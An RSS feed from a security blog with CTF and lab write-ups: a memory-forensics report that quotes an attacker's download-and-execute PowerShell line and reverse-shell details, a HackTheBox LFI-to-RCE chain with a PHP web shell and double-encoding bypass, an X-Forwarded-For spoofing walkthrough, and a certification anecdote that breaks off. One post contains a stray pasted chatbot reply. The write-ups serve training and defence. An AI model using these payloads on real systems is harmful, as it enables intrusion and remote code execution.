<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Security Blog]]></title><description><![CDATA[Security Blog]]></description><link>https://dangkhoi.me</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1766431837253/9873cfac-41aa-4a0d-b8dd-901a97c7d427.png</url><title>Security Blog</title><link>https://dangkhoi.me</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 13 Mar 2026 08:14:57 GMT</lastBuildDate><atom:link href="https://dangkhoi.me/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><atom:link rel="first" href="https://dangkhoi.me/rss.xml"/><item><title><![CDATA[WannaGame Championship 2025-Writeup]]></title><description><![CDATA[<h1>Hide and Seek  Forensic Investigation Report</h1>
<p>The victim reported that after browsing and downloading some files, suspicious processes began appearing on the system. Our objective is to reconstruct the attack chain and identify the adversarys techniques.</p>
<hr />
<h2>[1] MITRE ATT&amp;CK ID for Initial Access (TXXXX.XXX)</h2>
<p>Browser history analysis (Firefox) revealed that the user accessed a suspicious internal URL shortly before malicious activity began.</p>
<p>There is no indication of an exploit chain or drive-by download. Instead, the evidence suggests that the victim was socially engineered into clicking a malicious link.</p>
<p>This behavior aligns with:</p>
<blockquote>
<p><strong>Phishing via malicious link</strong></p>
</blockquote>
<p>MITRE ATT&amp;CK mapping:</p>
<p><strong>Answer:</strong> <code>T1566.002</code></p>
<hr />
<h2>[2] Which link did the victim access? (ASCII)</h2>
<p>The final suspicious entry in the browser history shows:</p>
<pre><code class="language-plaintext">http://192.168.1.11:7331/captcha.html
</code></pre>
<p>This appears to be a fake CAPTCHA page used to trick the victim into executing a command.</p>
<p><strong>Answer:</strong>  </p>
<p><code>http://192.168.1.11:7331/captcha.html</code></p>
<hr />
<h2>[3] What command was the victim tricked into executing? (ASCII)</h2>
<p>Using the <code>cmdline</code> plugin in Volatility, we examined process command-line arguments and identified a PowerShell process running a base64-encoded payload:</p>
<pre><code class="language-plaintext">powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA
</code></pre>
<p>After decoding the base64 string:</p>
<pre><code class="language-plaintext">iwr http://192.168.1.11:7331/y.ps1 -UseBasicParsing | iex
</code></pre>
<p>Explanation:</p>
<ul>
<li><p><code>iwr</code>  Invoke-WebRequest</p>
</li>
<li><p>Downloads <code>y.ps1</code></p>
</li>
<li><p>Pipes output to <code>iex</code> (Invoke-Expression)</p>
</li>
<li><p>Executes it directly in memory</p>
</li>
</ul>
<p>This is a typical download-and-execute technique.</p>
<p><strong>Answer:</strong>  </p>
<p><code>powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA</code></p>
<hr />
<h2>[4] What URL was used to retrieve the payload and what filename was it saved as?</h2>
<p>(<a href="http://example.com/script.ext_file.rar">http://example.com/script.ext_file.rar</a>)</p>
<p>After dumping the PowerShell process memory (PID 3000), we recovered the executed script content.</p>
<p>The script:</p>
<ul>
<li><p>Downloads <code>update.zip</code></p>
</li>
<li><p>Saves it as <code>kqwer.zip</code> in <code>%TEMP%</code></p>
</li>
<li><p>Extracts it</p>
</li>
<li><p>Executes <code>verify.exe</code></p>
</li>
</ul>
<p>Relevant snippet recovered from memory:</p>
<pre><code class="language-plaintext">$url1 = "http://192.168.1.11:7331/update.zip"
\(zipPath1 = "\)env:TEMP\kqwer.zip"
</code></pre>
<p>Therefore:</p>
<ul>
<li><p>Script URL: <code>http://192.168.1.11:7331/y.ps1</code></p>
</li>
<li><p>Saved filename: <code>kqwer.zip</code></p>
</li>
</ul>
<p><strong>Answer:</strong>  </p>
<p><code>http://192.168.1.11:7331/y.ps1_kqwer.zip</code></p>
<hr />
<h2>[5] MITRE ID and Registry location (TXXXX_Hive\Key)</h2>
<p>Process tree analysis showed:</p>
<pre><code class="language-plaintext">explorer.exe  powershell.exe
</code></pre>
<p>This strongly indicates execution via the Windows Run dialog (Win + R).</p>
<p>To confirm, we examined the following registry key:</p>
<pre><code class="language-plaintext">HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
</code></pre>
<p>This key stores commands executed via the Run dialog.</p>
<p>The corresponding MITRE technique:</p>
<blockquote>
<p>User Execution</p>
</blockquote>
<p><strong>Answer:</strong>  </p>
<p><code>T1204_HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code></p>
<hr />
<h2>[6] Malicious file location and injected process (C:\path\folder\A_processA.ext_1234)</h2>
<p>The downloaded archive extracted and executed:</p>
<pre><code class="language-plaintext">verify.exe
</code></pre>
<p>Static analysis using IDA revealed:</p>
<ul>
<li><p>The binary decrypts embedded shellcode using XOR</p>
</li>
<li><p>Key used:  </p>
<p><code>6ddLG9a8gc69cf4J0bZrzgGjr9zRMR</code></p>
</li>
<li><p>The decrypted shellcode is injected into <code>explorer.exe</code></p>
</li>
</ul>
<p>Observed process hierarchy:</p>
<pre><code class="language-plaintext">explorer.exe (PID 6500)
  powershell.exe (3000)
       verify.exe
</code></pre>
<p>Malware location:</p>
<pre><code class="language-plaintext">C:\Users\imnoob\AppData\Local\Temp\file
</code></pre>
<p>Injected process:</p>
<pre><code class="language-plaintext">explorer.exe (PID 6500)
</code></pre>
<p><strong>Answer:</strong>  </p>
<p><code>C:\Users\imnoob\AppData\Local\Temp\file_explorer.exe_6500</code></p>
<hr />
<h2>[7] Attacker IP and PORT inside injected shellcode (IP:PORT)</h2>
<p>After decrypting the shellcode and disassembling it, we found:</p>
<pre><code class="language-plaintext">PUSH 0B01A8C0
PUSH A5FB0002
</code></pre>
<p>Converting from little-endian:</p>
<pre><code class="language-plaintext">C0 A8 01 0B  192.168.1.11
A5 FB  64421
</code></pre>
<p>This indicates a reverse shell connection.</p>
<p><strong>Answer:</strong>  </p>
<p><code>192.168.1.11:64421</code></p>
<hr />
<h2>[8] Process used for UAC bypass and PPID spoofing (ProcessA.ext_1234)</h2>
<p>Further analysis showed:</p>
<pre><code class="language-plaintext">powershell.exe -ExecutionPolicy Bypass
  fodhelper.exe
</code></pre>
<p><code>fodhelper.exe</code> is a known auto-elevated binary frequently abused for UAC bypass.</p>
<p>Observed relationship:</p>
<pre><code class="language-plaintext">powershell.exe (PID 5888)
  fodhelper.exe (PID 2964)
</code></pre>
<p>This confirms privilege escalation via UAC bypass.</p>
<p><strong>Answer:</strong>  </p>
<p><code>fodhelper.exe_5888</code></p>
<hr />
<h1>Final Flag</h1>
<pre><code class="language-plaintext">W1{conGR4TUIaTi0N5-9OU-Fin4ILy-fOUND-m3!ll10dc}
</code></pre>
]]></description><link>https://dangkhoi.me/wannagame-championship-2025-writeup</link><guid isPermaLink="true">https://dangkhoi.me/wannagame-championship-2025-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[forensics]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator></item><item><title><![CDATA[Chaining LFI to RCE – HackTheBox]]></title><description><![CDATA[<h2>Problem</h2>
<p>This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.</p>
<p>The web application is quite simple. It contains three main tabs: <strong>Home</strong>, <strong>Contact</strong>, and most importantly, <strong>/apply</strong>, which allows users to upload an image file.</p>
<hr />
<h2>Recon</h2>
<p>After spending some time enumerating the website, I discovered a suspicious endpoint :</p>
<pre><code class="language-plaintext">/contact.php
</code></pre>
<p>I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with <strong>ffuf</strong>. Eventually, I found a parameter confirming that the website was vulnerable to LFI.</p>
<p>At that point, I thought the challenge was basically solved.</p>
<p>However, it was not that simple.</p>
<p>I tried using automated exploitation tools like <strong>lfisuite</strong>, continued fuzzing with <strong>ffuf</strong>, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.</p>
<p>The filtering mechanism was extremely strict:</p>
<ul>
<li><p>Any occurrence of <code>.</code> or <code>/</code> (typical file inclusion characters) was blocked.</p>
</li>
<li><p>Sensitive keywords such as <code>/etc/passwd</code> and <code>config</code> were filtered.</p>
</li>
</ul>
<p>I spent around 56 hours testing different payload variations but was completely stuck at this stage.</p>
<hr />
<h2>Breakthrough</h2>
<p>While taking a break, I asked myself:</p>
<blockquote>
<p>Why am I focusing only on that single endpoint?</p>
</blockquote>
<p>I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.</p>
<p>I tested LFI on this new parameter  and boom, it worked.</p>
<p>After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:</p>
<pre><code class="language-plaintext">/var/log/nginx/access.log
</code></pre>
<p>This indicated that <strong>Log Poisoning</strong> might be possible.</p>
<p>The idea was simple:</p>
<ol>
<li><p>Send a request to the web server.</p>
</li>
<li><p>Modify the <code>User-Agent</code> header to inject PHP code:</p>
</li>
</ol>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<p>However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like <code>file_get_contents()</code> instead of <code>include()</code>.</p>
<p>So log poisoning was not viable.</p>
<hr />
<h2>Reviewing the Source Code</h2>
<h3><code>/api/image.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
if (isset($_GET["p"])) {
    \(path = "../images/" . str_replace("../", "", \)_GET["p"]);
    \(contents = file_get_contents(\)path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?&gt;
</code></pre>
<p>This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.</p>
<hr />
<h3><code>/api/application.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
\(firstName = \)_POST["firstName"];
\(lastName = \)_POST["lastName"];
\(email = \)_POST["email"];
\(notes = (isset(\)_POST["notes"])) ? $_POST["notes"] : null;

\(tmp_name = \)_FILES["file"]["tmp_name"];
\(file_name = \)_FILES["file"]["name"];
\(ext = end((explode(".", \)file_name)));
\(target_file = "../uploads/" . md5_file(\)tmp_name) . "." . $ext;
move_uploaded_file(\(tmp_name, \)target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?&gt;
</code></pre>
<p>This revealed something important:</p>
<ul>
<li><p>Uploaded files are stored in <code>/uploads/</code></p>
</li>
<li><p>The filename is hashed using <code>md5_file()</code></p>
</li>
<li><p>The original extension is preserved</p>
</li>
</ul>
<p>At this point, the plan became clearer:</p>
<ol>
<li><p>Upload a PHP shell.</p>
</li>
<li><p>Use LFI to trigger it.</p>
</li>
</ol>
<p>However, there was still one missing piece:</p>
<p>We needed a parameter that used <code>include()</code> instead of <code>file_get_contents()</code> in order to gain execution.</p>
<p>And I found it.</p>
<hr />
<h3>Vulnerable <code>region</code> Parameter</h3>
<pre><code class="language-plaintext">&lt;p&gt;
&lt;?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains(\(_GET["region"], ".") || str_contains(\)_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        \(region = urldecode(\)_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?&gt;
</code></pre>
<p>Now everything made sense.</p>
<p>The first parameter I had spent hours on earlier finally became useful.</p>
<h3>Understanding the Logic</h3>
<ul>
<li><p>If the parameter contains <code>.</code> or <code>/</code>, it gets blocked.</p>
</li>
<li><p>Otherwise, it is URL-decoded.</p>
</li>
<li><p>Then it gets passed into <code>include()</code>.</p>
</li>
</ul>
<p>So I thought:</p>
<blockquote>
<p>What if we double-encode the payload?</p>
</blockquote>
<p>If we encode <code>../</code> twice:</p>
<pre><code class="language-plaintext">../  %2e%2e%2f
Double encode  %252e%252e%252f
</code></pre>
<p>The WAF does not detect <code>.</code> or <code>/</code>.</p>
<p>The server:</p>
<ol>
<li><p>Decodes once via <code>urldecode()</code></p>
</li>
<li><p>Then <code>include()</code> performs another decoding step</p>
</li>
</ol>
<p>This results in successful path traversal.</p>
<hr />
<h2>Final Exploit</h2>
<ol>
<li><p>Upload <code>payload.php</code></p>
</li>
<li><p>Calculate its MD5:</p>
</li>
</ol>
<pre><code class="language-plaintext">md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e  payload.php
</code></pre>
<ol>
<li>Trigger execution:</li>
</ol>
<pre><code class="language-plaintext">http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&amp;cmd=id
</code></pre>
<p>And RCE was achieved.</p>
<hr />
<h1>Attack Chain Summary</h1>
<ol>
<li><p>Exploit LFI to read sensitive source code</p>
</li>
<li><p>Bypass WAF using double URL encoding</p>
</li>
<li><p>Upload malicious file</p>
</li>
<li><p>Use <code>include()</code> to achieve RCE</p>
</li>
</ol>
<hr />
<h1>Lessons Learned</h1>
<ol>
<li><p>Think in terms of <strong>bug chaining</strong>, not isolated vulnerabilities.</p>
</li>
<li><p>Always explore alternative attack vectors.</p>
</li>
<li><p>Think outside the box.</p>
</li>
</ol>
<hr />
<p>Nu bn mun mnh chnh li theo phong cch blog chuyn nghip hn (v d  ng LinkedIn hoc portfolio cybersecurity khi bn ang theo l trnh An ninh mng), mnh c th rewrite li theo tone professional offensive security writeup lun.</p>
<p>viet bang ngon ngu markdown</p>
<p>Di y l phin bn c vit li hon ton bng <strong>Markdown chun</strong> (c heading, code block, bullet list r rng, sn sng  ng blog hoc GitHub):</p>
<hr />
<h1>Chaining LFI to RCE  HackTheBox</h1>
<h2>🧩 Problem</h2>
<p>This lab is from HackTheBox. The objective is to achieve <strong>Remote Code Execution (RCE)</strong> and retrieve the flag located in the root directory.</p>
<p>The web application is simple, containing three main tabs:</p>
<ul>
<li><p>Home</p>
</li>
<li><p>Contact</p>
</li>
<li><p><code>/apply</code> (allows file upload)</p>
</li>
</ul>
<p>The upload functionality immediately caught my attention.</p>
<hr />
<h2>🔎 Recon</h2>
<p>During reconnaissance, I discovered a suspicious endpoint:</p>
<pre><code class="language-plaintext">/contact.php
</code></pre>
<p>I fuzzed parameters using <code>ffuf</code> and successfully identified an <strong>LFI (Local File Inclusion)</strong> vulnerability.</p>
<p>At this point, I thought the challenge was almost solved.</p>
<p>However, things became complicated.</p>
<h3>🚧 WAF Restrictions</h3>
<p>The application implemented strong filtering:</p>
<ul>
<li><p>Any <code>.</code> or <code>/</code> character was blocked</p>
</li>
<li><p>Sensitive paths like <code>/etc/passwd</code> were filtered</p>
</li>
<li><p>Keywords such as <code>config</code> were denied</p>
</li>
</ul>
<p>I attempted:</p>
<ul>
<li><p>Automated tools (<code>lfisuite</code>)</p>
</li>
<li><p>Further fuzzing with <code>ffuf</code></p>
</li>
<li><p>Manual payload crafting</p>
</li>
<li><p>Encoding variations</p>
</li>
</ul>
<p>Nothing worked.</p>
<p>After spending 56 hours, I was completely stuck.</p>
<hr />
<h2>💡 Breakthrough</h2>
<p>After taking a break, I reconsidered my approach:</p>
<blockquote>
<p>Why am I focusing only on one endpoint?</p>
</blockquote>
<p>I began reviewing other APIs and discovered a new interesting endpoint.</p>
<p>After testing it  boom  LFI worked again.</p>
<h3>📂 Path Traversal Success</h3>
<p>I managed to read sensitive files and eventually discovered:</p>
<pre><code class="language-plaintext">/var/log/nginx/access.log
</code></pre>
<p>This suggested the possibility of <strong>Log Poisoning</strong>.</p>
<hr />
<h2>🧪 Attempt: Log Poisoning</h2>
<p>I injected PHP code into the <code>User-Agent</code> header:</p>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<p>However, it did not execute.</p>
<p>The log file stored my payload, but the application used <code>file_get_contents()</code> instead of <code>include()</code>, so the code was never interpreted.</p>
<p>Log poisoning failed.</p>
<hr />
<h2>🔍 Source Code Analysis</h2>
<h3><code>/api/image.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
if (isset($_GET["p"])) {
    \(path = "../images/" . str_replace("../", "", \)_GET["p"]);
    \(contents = file_get_contents(\)path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?&gt;
</code></pre>
<p>This confirmed the LFI vulnerability due to improper sanitization.</p>
<hr />
<h3><code>/api/application.php</code></h3>
<pre><code class="language-plaintext">&lt;?php
\(firstName = \)_POST["firstName"];
\(lastName = \)_POST["lastName"];
\(email = \)_POST["email"];
\(notes = (isset(\)_POST["notes"])) ? $_POST["notes"] : null;

\(tmp_name = \)_FILES["file"]["tmp_name"];
\(file_name = \)_FILES["file"]["name"];
\(ext = end((explode(".", \)file_name)));
\(target_file = "../uploads/" . md5_file(\)tmp_name) . "." . $ext;
move_uploaded_file(\(tmp_name, \)target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?&gt;
</code></pre>
<p>Important observations:</p>
<ul>
<li><p>Uploaded files are stored in <code>/uploads/</code></p>
</li>
<li><p>The filename is hashed using <code>md5_file()</code></p>
</li>
<li><p>The original extension is preserved</p>
</li>
</ul>
<p>At this stage, the plan was:</p>
<ol>
<li><p>Upload a PHP web shell</p>
</li>
<li><p>Trigger it using LFI</p>
</li>
</ol>
<p>But we still needed a parameter using <code>include()</code> instead of <code>file_get_contents()</code>.</p>
<hr />
<h2>🎯 Final Piece  <code>region</code> Parameter</h2>
<pre><code class="language-plaintext">&lt;?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains(\(_GET["region"], ".") || str_contains(\)_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        \(region = urldecode(\)_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?&gt;
</code></pre>
<h3>🔎 Analysis</h3>
<ul>
<li><p>If <code>.</code> or <code>/</code> appears  blocked</p>
</li>
<li><p>Otherwise  <code>urldecode()</code> is applied</p>
</li>
<li><p>Then passed into <code>include()</code></p>
</li>
</ul>
<p>So I thought:</p>
<blockquote>
<p>What if we double-encode the payload?</p>
</blockquote>
<hr />
<h2>🧠 Double Encoding Bypass</h2>
<p>Normal traversal:</p>
<pre><code class="language-plaintext">../
</code></pre>
<p>URL encoded:</p>
<pre><code class="language-plaintext">%2e%2e%2f
</code></pre>
<p>Double encoded:</p>
<pre><code class="language-plaintext">%252e%252e%252f
</code></pre>
<p>Since <code>%252e</code> does not contain <code>.</code> or <code>/</code>, the WAF does not block it.</p>
<p>Flow:</p>
<ol>
<li><p>Server decodes once using <code>urldecode()</code></p>
</li>
<li><p><code>include()</code> processes the decoded path</p>
</li>
<li><p>Path traversal succeeds</p>
</li>
</ol>
<hr />
<h2>🚀 Final Exploit</h2>
<h3>1 Upload <code>payload.php</code></h3>
<p>Example payload:</p>
<pre><code class="language-plaintext">&lt;?php system($_GET["cmd"]); ?&gt;
</code></pre>
<h3>2 Calculate MD5</h3>
<pre><code class="language-plaintext">md5sum payload.php
</code></pre>
<p>Output:</p>
<pre><code class="language-plaintext">eca599d7d063b4d277b7b14e5efe4a6e
</code></pre>
<h3>3 Trigger Execution</h3>
<pre><code class="language-plaintext">http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&amp;cmd=id
</code></pre>
<p>🎉 RCE achieved.</p>
<hr />
<h1>🔗 Attack Chain Summary</h1>
<ol>
<li><p>Exploit LFI to read source code</p>
</li>
<li><p>Identify upload functionality</p>
</li>
<li><p>Bypass WAF using double encoding</p>
</li>
<li><p>Upload malicious PHP file</p>
</li>
<li><p>Trigger execution via <code>include()</code></p>
</li>
</ol>
<hr />
<h1>📚 Lessons Learned</h1>
<ul>
<li><p>Think in terms of <strong>bug chaining</strong>, not isolated vulnerabilities</p>
</li>
<li><p>Always enumerate all endpoints</p>
</li>
<li><p>Review source code carefully</p>
</li>
<li><p>When stuck, take a break and rethink</p>
</li>
</ul>
]]></description><link>https://dangkhoi.me/chaining-lfi-to-rce-hackthebox</link><guid isPermaLink="true">https://dangkhoi.me/chaining-lfi-to-rce-hackthebox</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator></item><item><title><![CDATA[A problem in DreamHack]]></title><description><![CDATA[<h2>Understanding IP Trust and the Dangers of <code>X-Forwarded-For</code></h2>
<p>While practicing some web challenges on <strong>DreamHack</strong>, I came across a beginner-level challenge called <code>whoami</code>  Level 1.<br />Although the difficulty is low, this challenge highlights a <strong>very common and dangerous mistake in real-world web applications</strong>: blindly trusting client-controlled headers.</p>
<hr />
<h2>Challenge Overview</h2>
<p>The challenge provides:</p>
<ul>
<li><p>A <strong>simple single-page web application</strong></p>
</li>
<li><p>Two backend API endpoints:</p>
<ul>
<li><p><code>/whoami</code></p>
</li>
<li><p><code>/admin</code></p>
</li>
</ul>
</li>
<li><p>The <strong>backend source code</strong>, written in <strong>Express (Node.js)</strong></p>
</li>
</ul>
<p>The objective is straightforward:</p>
<blockquote>
<p><strong>Gain admin privileges and retrieve the flag.</strong></p>
</blockquote>
<p>At first glance, this looks trivial. However, the interesting part lies in <strong>how the backend determines whether a user is an admin or not</strong>.</p>
<hr />
<h2>Backend Code Analysis</h2>
<p>After reviewing the Express backend source code, one thing immediately stood out:</p>
<blockquote>
<p><strong>Admin access is determined based on the client's IP address.</strong></p>
</blockquote>
<p>More specifically, the application relies on the value of the <code>X-Forwarded-For</code> HTTP header to identify the requester.</p>
<p>This is a classic red flag in web security.</p>
<hr />
<h2>What Is <code>X-Forwarded-For</code>?</h2>
<p><code>X-Forwarded-For</code> is a <strong>non-standard HTTP header</strong> commonly used by:</p>
<ul>
<li><p>Reverse proxies (Nginx, HAProxy)</p>
</li>
<li><p>Load balancers</p>
</li>
<li><p>CDNs (Cloudflare, AWS ALB, etc.)</p>
</li>
</ul>
<p>Its original purpose is to preserve the <strong>original client IP address</strong> when requests pass through one or more proxies.</p>
<p>Example:</p>
<pre><code class="language-http">X-Forwarded-For: 203.0.113.42
</code></pre>
<p>With multiple proxies involved:</p>
<pre><code class="language-plaintext">X-Forwarded-For: 203.0.113.42, 10.0.0.1, 172.16.0.5
</code></pre>
<p>By convention:</p>
<ul>
<li><p>The <strong>first IP</strong> is the original client</p>
</li>
<li><p>The remaining IPs are intermediate proxies</p>
</li>
</ul>
<hr />
<h2>The Core Issue: Client-Controlled Headers</h2>
<p>Here is the critical mistake made by the application:</p>
<blockquote>
<p><code>X-Forwarded-For</code> can be fully controlled by the client.</p>
</blockquote>
<p>Any user can manually set this header using tools such as:</p>
<ul>
<li><p><code>curl</code></p>
</li>
<li><p>Burp Suite</p>
</li>
<li><p>Postman</p>
</li>
</ul>
<p>For example:</p>
<pre><code class="language-plaintext">curl -H "X-Forwarded-For: 127.0.0.1" https://target/admin
</code></pre>
<p>If the backend blindly trusts this header <strong>without verifying that the request actually came through a trusted proxy</strong>, the access control logic is completely broken.</p>
<p>This type of mistake is frequently exploited to bypass:</p>
<ul>
<li><p>IP-based access control</p>
</li>
<li><p>Rate limiting</p>
</li>
<li><p>Geo-restrictions</p>
</li>
<li><p>Anti-bot mechanisms</p>
</li>
</ul>
<hr />
<h2>Exploitation</h2>
<p>In the <em>whoami</em> challenge, exploitation is extremely simple:</p>
<ol>
<li><p>Send a request to the <code>/admin</code> endpoint</p>
</li>
<li><p>Manually set the <code>X-Forwarded-For</code> header to a trusted IP (e.g., <code>127.0.0.1</code>)</p>
</li>
<li><p>The backend assumes the request is from an internal or admin user</p>
</li>
<li><p>Admin access is granted</p>
</li>
<li><p>The flag is returned</p>
</li>
</ol>
<p>No brute force.<br />No race condition.<br />Just a <strong>logic flaw caused by misplaced trust</strong>.</p>
<hr />
<h2>Retrieved Flag</h2>
<pre><code class="language-plaintext">DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}
</code></pre>
<hr />
<h2>Lessons Learned</h2>
<p>This challenge reinforces several important security lessons:</p>
<h3>1. Never Trust Client-Supplied Headers</h3>
<p>Headers such as <code>X-Forwarded-For</code>, <code>X-Real-IP</code>, or custom headers <strong>should never be trusted by default</strong>.</p>
<h3>2. Proxy Awareness Is Essential</h3>
<p><code>X-Forwarded-For</code> should only be used if:</p>
<ul>
<li><p>Requests come from <strong>trusted proxy IPs</strong></p>
</li>
<li><p>The backend explicitly validates the request source</p>
</li>
</ul>
<h3>3. Simple Bugs Can Have Serious Impact</h3>
<p>Even though this is a <strong>Level 1 challenge</strong>, the same vulnerability appears frequently in production systems.</p>
<hr />
<h2>Final Thoughts</h2>
<p>The <em>whoami</em> challenge is a great reminder that <strong>security is often about correct assumptions rather than complex exploits</strong>.</p>
<p>If you are developing or auditing web applications, always ask yourself:</p>
<blockquote>
<p><em>Who controls this data?</em></p>
</blockquote>
<p>Because if the user controls it  <strong>you should never trust it</strong>.</p>
]]></description><link>https://dangkhoi.me/a-problem-in-dreamhack</link><guid isPermaLink="true">https://dangkhoi.me/a-problem-in-dreamhack</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator></item><item><title><![CDATA[How I Failed My First Cybersecurity Certification]]></title><description><![CDATA[<blockquote>
<p>I used to think the ISC2 CC was just a lightweight theory-based certification. Three days of revision should have been enough.</p>
</blockquote>
<p>While struggling with some CTF challenges, I started to feel a bit burned out. I scrolled through LinkedIn and saw people constantly sharing about certifications in the industryprestigious ones like OSCP, CISSP, or more entry-level options such as CCNA or eJPT (often considered a lighter version of OSCP).</p>
<p>I really wanted to challenge myself with those certifications, but I was afraid of failing and wasting money.</p>
<p><strong>So the question was: is there any certification with similar pressure but zero cost?</strong></p>
<p>After some research, I came across a very reputable certification from ISC2. Just hearing the name ISC2 already signals credibilityits the organization behind legendary certifications like CISSP and SSCP, and is considered one of the worlds leading non-profit associations for information security professionals.</p>
<p>And the certification Im talking about is <strong>Certified in Cybersecurity</strong>, abbreviated as <strong>CC</strong>.</p>
<hr />
<h2 id="heading-1-what-is-the-isc2-cc-certification">1. What Is the ISC2 CC Certification?</h2>
<p>If you search Google with questions like <em>What certifications should I get for entry-level cybersecurity?</em> or <em>How do I get into cybersecurity?</em>, chances are this certification will show up.</p>
<p>The ISC2 CC is designed for beginners entering the cybersecurity field. At first, I thought it mainly covered basic theory. Honestly, I felt it was not that different from taking a driving license testjust memorize the theory, understand some basic concepts, and youd be fine.</p>
<p>That was until I failed 😇.</p>
<p>ISC2 CC doesnt ask you to hack a server. Instead, it tests whether you understand <strong>how security operates within an organization</strong>.</p>
<p>Anyone can study for and take this exam <strong>for free</strong> through the <em>One Million Certified in Cybersecurity</em> program on the ISC2 website. The registration process is straightforward: just book a suitable exam date and show up.</p>
<h3 id="heading-exam-domains-overview">Exam Domains Overview</h3>
<p>To prepare for this certification, you need to master the following five domains:</p>
<ul>
<li><p><strong>Domain 1: Security Principles</strong><br />  Covers fundamental principles such as the CIA triad, ethical codes, and core security concepts.</p>
</li>
<li><p><strong>Domain 2: Incident Response, Business Continuity, and Disaster Recovery Concepts</strong><br />  Focuses on planning and responding to security incidents, ensuring organizations can recover and continue operating normally.</p>
</li>
<li><p><strong>Domain 3: Access Control Concepts</strong><br />  Covers access control models like MAC, DAC, LAC, and RBAC.<br />  In my opinion, this is both one of the easiest <em>and</em> most annoying domainseasy to confuse, hard to classify, and it appears very frequently in exam questions.</p>
</li>
<li><p><strong>Domain 4: Network Security</strong><br />  Includes cloud service models such as SaaS and PaaS, network architectures, and common ports and services like HTTP, SNMP, FTP, etc.</p>
</li>
<li><p><strong>Domain 5: Security Operations</strong><br />  Introduces basic cryptography (hashing, symmetric and asymmetric encryption), password policies, logging, monitoring, and more.</p>
</li>
</ul>
<p>This is only a high-level summary. Theres a lot more content that I havent listed here.</p>
<p>In my opinion, <strong>knowledge accounts for only about 60% of passing this exam</strong>. The remaining 40% is all about <strong>mindset</strong>. This certification leans much more toward <strong>management and governance</strong> rather than pure technical skillsand thats exactly why I failed.</p>
<hr />
<h2 id="heading-2-how-i-failed-the-isc2-cc-exam">2. How I Failed the ISC2 CC Exam</h2>
<p>To be honest, I only had a little over <strong>three days</strong> to prepare for this exam. I assumed that since it was theory-based, studying the materials and doing a few practice tests would be enough.</p>
<p>It wasnt.</p>
<p>Heres my exam result:  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766592082390/fb9a5551-5941-478d-b073-661c0efacdb8.jpeg" alt="Result" class="image--center mx-auto" /></p>
<p>To pass, you need at least <strong>70/100</strong>. Although ISC2 doesnt provide an exact score, based on the score report, I estimate I got around <strong>600650</strong>, just a few dozen points short of passing 😭.</p>
<h3 id="heading-study-materials-i-used">Study Materials I Used</h3>
<p>Before the exam, I:</p>
<ul>
<li><p>Studied the official theory materials on the ISC2 website</p>
</li>
<li><p>Completed the mock tests provided there</p>
</li>
<li><p>Watched a YouTube series solving 200 practice questions</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=mlehQf-5pNc&amp;t=13156s">https://www.youtube.com/watch?v=mlehQf-5pNc&amp;t=13156s</a></div>
<p> </p>
